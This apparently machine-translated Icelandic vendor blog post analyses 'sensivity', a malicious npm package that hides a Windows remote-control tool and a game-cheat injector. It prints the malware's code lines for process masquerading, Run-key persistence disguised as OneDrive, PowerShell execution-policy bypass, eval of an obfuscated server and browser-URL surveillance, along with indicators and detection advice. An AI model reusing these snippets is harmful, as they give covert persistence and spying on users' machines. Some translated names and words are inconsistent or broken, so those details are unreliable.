PairLoop: Falinn fjarstýringarpallur í npm pakkanum

PairLoop: Einn npm pakki, sjötíu útgáfur og falinn Windows fjarstýringarpallur

TL; DR

npm pakkinn næmni lýsir sér sem „Næmnistjórnunarborði“. Í Windows virkar það eins og fjarstýringar- og eftirlitstæki.

Aðgangsstaður þess, launcher.js, endurnefnir sitt eigið ferli í Runtime Broker, skrifar sjálfvirka ræsingu á keyrslulykil sem heitir OneDriveUpdate sem endurræsir pakkann í gegnum falinn VBScript, ræsir PowerShell með -ExecutionPolicy Bypassog metur síðan 171 KB dulbúna netþjónshleðslu ásamt 6.87 MB innbyggðri einingu, sens.node.

Það þjónar stjórnborði fyrir símapörun á TCP tengi 3000 og les vefslóð virka vafrans í gegnum Windows UIAutomation og leitar að einu harðkóðuðu YouTube myndbandi.

Tveir hlutar sem áður voru svartir kassar eru nú leystir. Þjónninn sem var dulbúinn, server.obf.js, notar obfuscator.io RC4 strengja-fylkisskema; ​​að endurútfæra afkóðarann ​​án nettengingar (ekkert JavaScript keyrt) endurheimtir einn ytri endapunkt — https://izopi.com/check.php — ásamt innbyggðum RSA opinberum lykli sem notaður er til að staðfesta svör við undirrituðum leyfisskilyrðum.

Innfædda einingin, sens.node, er ekki pakkað: innflutningstaflan þess og innbyggðir strengir auðkenna það sem DirectX 11 / Dear ImGui yfirlag í leiknum sem býður upp á aimbot, ESP (wall-hack) og triggerbot eiginleika, knúið áfram af fjarstýrðum ferlum og minnislestri/skrifum.

Strengir innan þess vísa til ökutækjaeininga og staðsetninga á korti í samræmi við GTA V / FiveM. npm pakkinn er afhendingar- og varanleikaumbúðir utan um þessa innbyggðu einingu.

Skilgreiningarmerkið er rekstrarlegt, ekki tæknilegt: einn nafnlaus útgefandi birti um það bil sjötíu útgáfur af einum pakka - 2.5.0 til 2.5.69 — yfir nokkra daga, hver með sama skotflaugina.

Það eru engar uppsetningar hooksNotkunin keyrir aðeins þegar pakkinn er ræstur.

Árásin: Hvernig hún virkar

`sensitivity` sendir tíu skrár. `package.json` er dreifð: ekkert geymslusvæði, ekkert leyfi, eitt aðalheiti og tvö bin-nöfn (sensitivity, sens) sem öll vísa á launcher.js, og ræsingarforskrift fyrir hnútinn launcher.js. Það er engin postinstall eða preinstall. Ekkert keyrir við npm install. Hegðunin sem lýst er hér að neðan keyrir þegar notandi ræsir pakkann — í gegnum bin-shim, ræsingarforskriftina eða kröfu.

Tar-skráin inniheldur ræsiforritið, dulbúinn netþjón, innbyggða eininguna, Visual Basic forskrift og public/ vefmöppu fyrir stjórnborðið. launcher.js er lesanlegur útfærsluforritið; rökfræðin sem skiptir máli við keyrslu býr í tveimur klösum sem það hleður — dulbúinn netþjón og þýdda innbyggða einingu, sem bæði eru leyst hér að neðan.

 Ferli dulbúið og falsa OneDrive uppfærsluforrit

Snemma í keyrslunni setur launcher.js sitt eigið ferlisheiti tvisvar:

   javascript process.title = 'Runtime Broker'; 

Runtime Broker er lögmætt Windows ferli (RuntimeBroker.exe) sem miðlar heimildum forrita. Ef þú endurnefnir Node ferli til að passa við það, þá sýnir fljótleg yfirlit yfir Task Manager ekkert óvenjulegt.

Persistence er skrifað í gegnum PowerShell frekar en beint skráningarforritaskil:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

Sjálfvirka ræsingargildið heitir OneDriveUpdate og það vísar ekki beint á pakkann. Það vísar á wscript.exe sem keyrir meðfylgjandi OneDrive.Standalone.Updater.vbs. Það forskrift endurræsir node launcher.js í földum glugga. Bæði Run-lykillinn og VBScript skráarnafnið fá Microsoft vörumerkið, þannig að sjálfvirka ræsingarfærslan lesist eins og venjulegt OneDrive verkefni.

PowerShell með framhjáhlaupi framkvæmdarstefnu

Ræsiforritið sendir ítrekað keyrslu á PowerShell. Sökkvinn sem skannar merkja sem mikilvægan er þegar búið er til .ps1 skrá með keyrslustefnu óvirka:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

ExecutionPolicy Bypass fjarlægir staðbundna undirritunarathugun á forskriftum fyrir þá keyrslu. Forskriftirnar sem myndast sjá um vafraeftirlit og gluggagreiningu sem lýst er í næsta kafla.

Dulbúinn netþjónn og innbyggða einingin

Eftir uppsetningu hleður launcher.js inn og keyrir raunverulegt gagnamagn sitt:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

server.obf.js er 171 KB af _0x-array obfuscation — JavaScript mynstri þar sem hver strengur og auðkenni er skipt út fyrir vísitölu í stokkuðu fylki, og síðan afvísað í keyrslutíma. Aðferðin er RC4 útgáfan sem obfuscator.io framleiddi: ein afkóðunarfall base64 afkóðar fylkisfærslu og RC4 afkóðar hana síðan með lykli fyrir hvert kall. Að endurútfæra þann afkóðara í sérstöku forskrift — að keyra aðeins endurútfærsluna yfir útdregna strengjafylkið með 821 færslum, aldrei JavaScript pakkans — aflæsir því hreint. Það sem kemur upp á yfirborðið er hóflegt en af...cisive: ein utanaðkomandi vefslóð, https://izopi.com/check.php`, úthlutað LICENSE_URL fasta; innbyggð RSA PUBLIC_KEY_PEM`; staðbundna spjaldið leiðir /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, og /trigger/status; og strengirnir child_process, crypto, og [Sensivity] sens.node loaded — sá síðasti er nákvæmlega log-línan sem ræsirinn endurskrifar í forritseininguna loaded. Endapunkturinn er leyfisprófun: biðlarinn birtir auðkenni (huldaða netþjónninn forsníðir Discord ID: %s streng) og RSA lykillinn staðfestir undirritað svar netþjónsins.

sens.node er 6.87 MB þýdd viðbót og hún er ekki pakkað — kaflaóreiðan er á bilinu 5.6–6.6 og PE inn- og útflutningstöflurnar eru óbreyttar, þannig að hægt er að lesa hana beint. Hún flytur út napi_register_module_v1, standard Hnútur N-API aðgangspunktur, þannig að metni netþjónninn hleður honum inn með einföldum kröfum. Innflutningstaflan hans er tell-ið. Frá KERNEL32 sækir það OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules og Process32First/NextW — hefðbundna safnið til að finna annað ferli, úthluta minni innan þess og lesa eða skrifa í það minni. Frá USER32 sækir það GetAsyncKeyState, GetKeyState, mouse_event og SetCursorPos; það tengir d3d11.dll, D3DCOMPILER_43 og dwmapi fyrir yfirlag á skjánum og allt WINHTTP safnið fyrir netköll. Innbyggðir strengir þess nefna eiginleikasettið án tvíræðni: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected, og Dear ImGui borðann Dear ImGui 1.91.3 WIP. Staðsetningar- og einingastrengir eins og Grapeseed Medical Clinic og orðaforðinn fyrir vehicle-ESP eru í samræmi við GTA V / FiveM.

Skiptingin er í raun vísvitandi: læsilega launcher.js skráin inniheldur aðeins þá hluta sem skanni les auðveldlega — persistence, masquerade, sjálft eval kallið — en dulritunarskráin felur þann eina ytri hýsil sem tengiliði keyrslutímans eru, og tvíundarskráin inniheldur leikjayfirlagið og ferlisinnspýtingarrökfræðina. Ræsiskráin er þunn, endurskoðanleg skel; duldu netþjónninn felur netauðkenni; innfædda einingin er gagnið. Við lýsum innflutningi og strengjum tvíundarskrárinnar sem lesnum; við ályktum ekki tilgang rekstraraðilans út frá þeim.

 Stjórnborð fyrir símapörun á tengi 3000

Ræsiforritið stýrir staðbundnum vefþjóni á TCP tengi 3000 og meðhöndlar hann sem stakan þjón. Það leitar að fyrirliggjandi hlustara og hreinsar hann áður en það bindur:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

Hægt er að nálgast spjaldið á http://localhost:3000, með harðkóðaðri LAN vara-URL upp á http://192.168.1.16:3000. Public/ skráin og hegðun spjaldsins eru í samræmi við QR-pörunarferli: síminn skannar kóða og tengist hýsilnum sem fjarstýring. Ekkert ytra skipana- og stjórnunarlén birtist í skýrum texta í ræsiforritinu — en eins og afþýðingin hér að ofan sýnir, er eitt til staðar á dulbúna þjóninum: izopi.com leyfisendapunktinum. Spjaldið sjálft er staðbundið og LAN-umfangsmikið; eini útleiðandi hýsillinn er sú leyfisathugun.

Aðskilinn umsjónar-/verkamannalíkan heldur ferlinu lifandi. Ræsiforritið endurræsir sig með SENSIVITY_SUPERVISOR og SENSIVITY_WORKER umhverfisfánum, þar sem hvert undirferli keyrir falið, þannig að ef eitt ferli er drepið er eftir eftirlitsmaður sem endurræsir það.

Vafraeftirlit og YouTube Signal

Sértækasta hegðunin er eftirlit með vafra. launcher.js býr til PowerShell sem knýr Windows UIAutomation til að lesa veffangastikuna í vafra sem er í gangi:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

ValuePattern skilar textainnihaldi notendaviðmótsþáttar. Þegar það er notað á breytingarstýringu í veffangastiku vafrans skilar það vefslóðinni sem fórnarlambið er að skoða núna — án vafraviðbótar, án þess að snerta prófílinn á diskinum og án API-króks. Forskriftin sem myndast endurtekur $browserNames lista og dregur út vefslóðina eða gluggatitilinn fyrir þann vafra sem er í forgrunni.

Þessi vefslóð er prófuð gegn einu harðkóðuðu markmiði:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

Ræsiforritið kannar í þriggja sekúndna lykkju vafraglugga sem sýnir YouTube og PowerShell sem myndast inniheldur Get-YouTubeBrowser / Test-TargetYouTubeUrl par sem passar við það myndbandsauðkenni. Áhrifin sem sjást eru tvíþætt: virka vafraslóðin er lesin af skjá fórnarlambsins og samskipti hýsingaraðilans við eitt tiltekið YouTube myndband eru greind. Við lýsum aðferðinni og markmiðinu; við ályktum ekki út frá þeim hvaða hvöt er notuð.

Lesturinn í veffangsstikunni er það sem skanninn kallar sensitive_data_enumeration — Process::env og UIAutomation uppspretta sem fæða nethæfan keyrslutíma. Hann lítur skaðlaus út í sjálfu sér og leysist aðeins upp í eftirlit þegar gagnalífsferillinn hefur verið rakinn frá UIAutomation uppsprettunni til dulbúins netþjóns.

Tímalína og þróun útgáfa

Sensivity er ekki upphleðsla í einu lagi. Útgefandareikningurinn hefur um það bil sjötíu útgáfur af þessum pakka og nýjar héldu áfram að berast á meðan á endurskoðunartímabilinu stóð. Ræsiforritið vex með hverri aðgerð yfir 2.5.x línuna á meðan varanleiki þess og hleðsla á gagnamagn helst óbreytt.

Dagsetning (UTC) Útgáfur sem komu fram Staða ræsiforrits
2026-06-02 2.5.8 - 2.5.46 (25) Grunnforrit fyrir QR-spjald; Varanleiki keyrslulykils; mat á dulbúnum netþjóni.
2026-06-03 2.5.53 - 2.5.61 (6) Sama fingrafar; hindrun á rekjanleika í stjórnborði.
2026-06-04 2.5.67, 2.5.68 (2) Bætir við festu YouTube þátttökumarkmiði wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) Endurútgáfa til að fylla í eyður á öllu sviðinu; eftirlitsaðili yfirmanns/starfsmanns.

Þegar ræsiforritið er lesið yfir niðurhalaðar útgáfur — 2.5.0, 2.5.36 og 2.5.69 — sjást fjögur þrep. Elstu útgáfurnar eru með grunn QR-pörunarræsiforritið. Frá og með 2.5.33 birtist UIAutomation veffangastikuupptökutækið. Frá og með 2.5.58 er umsjónarstjórnunarlag bætt við. Frá og með 2.5.64 fullkomnar aðskilinn umsjónar-/starfsmannaeftirlitsmaður settið. Í gegn um allt þetta breytast fjórir hlutir aldrei: OneDriveUpdate keyrslulykillinn, OneDrive.Standalone.Updater.vbs dropatækið, eval'd server.obf.js og sens.node innbyggða einingin.

Útgáfubylgjan 2026-06-05 er athyglisverð vegna þess að hún endurbirti útgáfunúmerin fyrir neðan útgáfurnar sem staðfestar voru nokkrum dögum áður. Áhrifin eru samfelld 2.5.x lína í skrásetningunni, þar sem allar útgáfur bera sama ræsiforritið.

Vísbendingar um málamiðlun

Allar vísbendingar hér að neðan voru lesnar beint úr pakkanum tarball. Lesanlegi ræsiforritið inniheldur aðeins lykkju og eitt einkanetfang; eina ytra vélarheitið, izopi.com, var endurheimt með því að fjarlægja þoku af server.obf.js án nettengingar.

Gerð Vísir Skýringar
Pakki npm:sensivity (≈70 útgáfur, 2.5.0-2.5.69) Útgefandi í einum pakka; ekkert geymslurými; án leyfis.
Skrá launcher.js Lesanlegur hljómsveitarstjóri; aðal- og ruslakörfumarkmið.
Skrá server.obf.js (≈171 KB) obfuscator.io RC4 strengjafylkis farmur, hlaðinn í gegnum eval(fs.readFileSync(...)).
Skrá sens.node (≈6.87 MB) PE32+ x86-64 hnúta N-API viðbót; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
Skrá OneDrive.Standalone.Updater.vbs Falinn endurræsir (node launcher.js).
Net https://izopi.com/check.php Leyfis-/heimildarendapunktur endurheimtur af dulbúnum netþjóni; innbyggður RSA opinber lykill staðfestir svör.
Hæfileiki OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread Fjarstýrð innspýting ferla og minnislestur/skrifmöguleiki.
Hæfileiki Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP DirectX 11 / ImGui leikjayfirlag sem útfærir aimbot, ESP og triggerbot eiginleika.
Registry HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate Sjálfvirk ræsingargildi sem bendir á wscript.exe og VBScript ræsiforritið.
aðferð process.title = 'Runtime Broker' Þykist vera lögmæt Windows Runtime Broker aðferð.
Hegðun powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 Framhjáhlaup keyrslustefnu notað fyrir PowerShell forskriftir sem eru búnar til.
Hegðun UIAutomation ValuePattern lesa veffangastiku vafrans Les vefslóðina að vafraglugganum í forgrunni.
Hegðun Auðkenni markmyndbands wJWta2lO0Lw3 sekúndna YouTube könnun Fest merki um eftirlit með virkni.
Net http://localhost:3000varahlutur http://192.168.1.16:3000 Stjórnborð fyrir QR-pörun er bæði staðbundið og á staðarnetinu.
umhverfi SENSIVITY_SUPERVISOR, SENSIVITY_WORKER Samhæfingarfánar fyrir aðskilin eftirlitsferli.

Tilvísun, áhrif og verjendur

Pakkinn er gefinn út af einum npm reikningi þar sem tilgreint netfang er óstaðfest Gmail netfang. Reikningurinn hefur mjög neikvæða skráningareinkunn, viðheldur og birtir aðeins þennan eina pakka og hefur enga tengda upprunageymslu. Við höfum ekki staðfest eignarhald netfangsins og við rekja herferðina til útgefandareikningsins, ekki neins nafngreinds einstaklings. Ræsiforritið hefur enga innviði fyrir óskýran texta, en eini ytri hýsillinn er nú þekktur: dulbúini netþjónninn hefur samband við izopi.com til að athuga leyfið og innbyggða einingin - lesin úr innflutningstöflu og strengjum frekar en öfugum leiðbeiningum - er leikjayfirlag sem sprautar inn í og ​​les minni annars ferlis.

Áhrifin eru sýnileg hjá Windows notendum sem setja upp og keyra Sensivity í von um stjórnborðsforrit. Á þessum vélum setur pakkinn upp sjálfvirka ræsingu sem er dulbúin sem OneDrive verkefni, endurnefnir sig til að líkja eftir kerfisferli, les vefslóðina að því sem notandinn er að skoða og setur upp pörunarspjald sem tengir vélina við fjarstýringu yfir staðarnetið. Eftirlitsaðili yfirmanns/starfsmanns þýðir að þótt eitt ferli sé drepið fjarlægir það ekki; færslan með keyrslulyklinum lifir af endurræsingar. macOS og Linux eru ekki skotmörk ræsiforritsins — slóðirnar fyrir ræsingu, PowerShell og UIAutomation eru eingöngu fyrir Windows.

Það er vert að benda á að sjötíu útgáfur eru að hverfa. Að endurbirta einn pakka tugum sinnum á nokkrum dögum, þar á meðal að fylla út útgáfunúmer fyrir neðan þau sem þegar hafa verið fjarlægð, heldur lifandi eintaki í skrásetningunni milli fjarlæginga og hindrar útgáfubundna blokkunarlista. Blokkunarlistafærsla fyrir sensitivity@2.5.61 gerir ekkert gegn endurbirtingunni á sensitivity@2.5.3 daginn eftir.

Verjendur geta gripið til eftirfarandi aðgerða:

  • Lokaðu næmi pakkanafnsins algjörlega í registry-proxy og CI leyfislistum. Að festa einstakar útgáfur tapar áhrifum endurútgáfuhraðans; nafnið er varanlegur vísir.
  • Leitaðu að keyrslugildi sem heitir OneDriveUpdate þar sem gögnin kalla á wscript.exe gegn .vbs skrá í slóð fyrir hvern notanda. Ósvikna OneDrive uppfærsluforritið er ekki skráð á þennan hátt.
  • Viðvörun um Node.js ferli þar sem process.title er Runtime Broker. Raunverulegi milligönguaðilinn er RuntimeBroker.exe, ekki Node keyrsluferill.
  • Merkja npm uppsetningartíma sótt pakka sem senda þýdda .node viðbót ásamt eval(fs.readFileSync(…)) af systkina .obf.js skrá. Þessi pörun — ógegnsæ innfædd tvíundarskrá hlaðin við hliðina á dulbúnum texta — er byggingarlega vísbendingin hér, óháð hvaða streng IOC sem er.
  • Meðhöndlið alla staðbundna hlustara á porti 3000, sem koma til vegna óvænts hnútaferlis, sem grunsamlega á stýrðum Windows endapunktum.
  • Blokkaðu eða sendu viðvörun um útleiðandi beiðnir til izopi.com frá forritara eða notendavélum; þetta er eina ytri endapunktur pakkans, sem náð er til á /check.php frá dulbúna netþjóninum.
  • Fyrir allar innbyggðar .node viðbótir, skoðið innflutningstöfluna áður en þið treystið þeim. Samsetningin OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread er innspýting fjarferla óháð því hvað pakkinn fullyrðir að gera; hér er hún staðsett við hliðina á Direct3D yfirlagi og aimbot/ESP/triggerbot strengjum.

Fyrir stöðugreiningu pipelines, sannfæringarformið er varanlegt í gegnum útgáfubreytingar: uppsetningarprófíll utan nets, úthlutun ferlisheiti til þekkts kerfisferlisnafns, ritun á keyrslulykil í gegnum PowerShell og mat á skrá sem lesin er af diski. Ekkert af þessu er háð léni, IP-tölu eða útgáfunúmeri sem næsta endurútgáfa getur skipt frá.

 Heimildir

[npm: næmi] – skráningarsíða fyrir pakkaútgáfulínuna sem hér er rædd; gæti verið fjarlægt.

sca-tools-hugbúnaður-samsetningargreiningartól
Forgangsraðaðu, lagfærðu og tryggðu hugbúnaðaráhættu þína
Fáðu þér ókeypis aðgang.
Ekkert kreditkort krafist.

Tryggðu hugbúnaðarþróun og afhendingu þína

með Xygeni vörupakkanum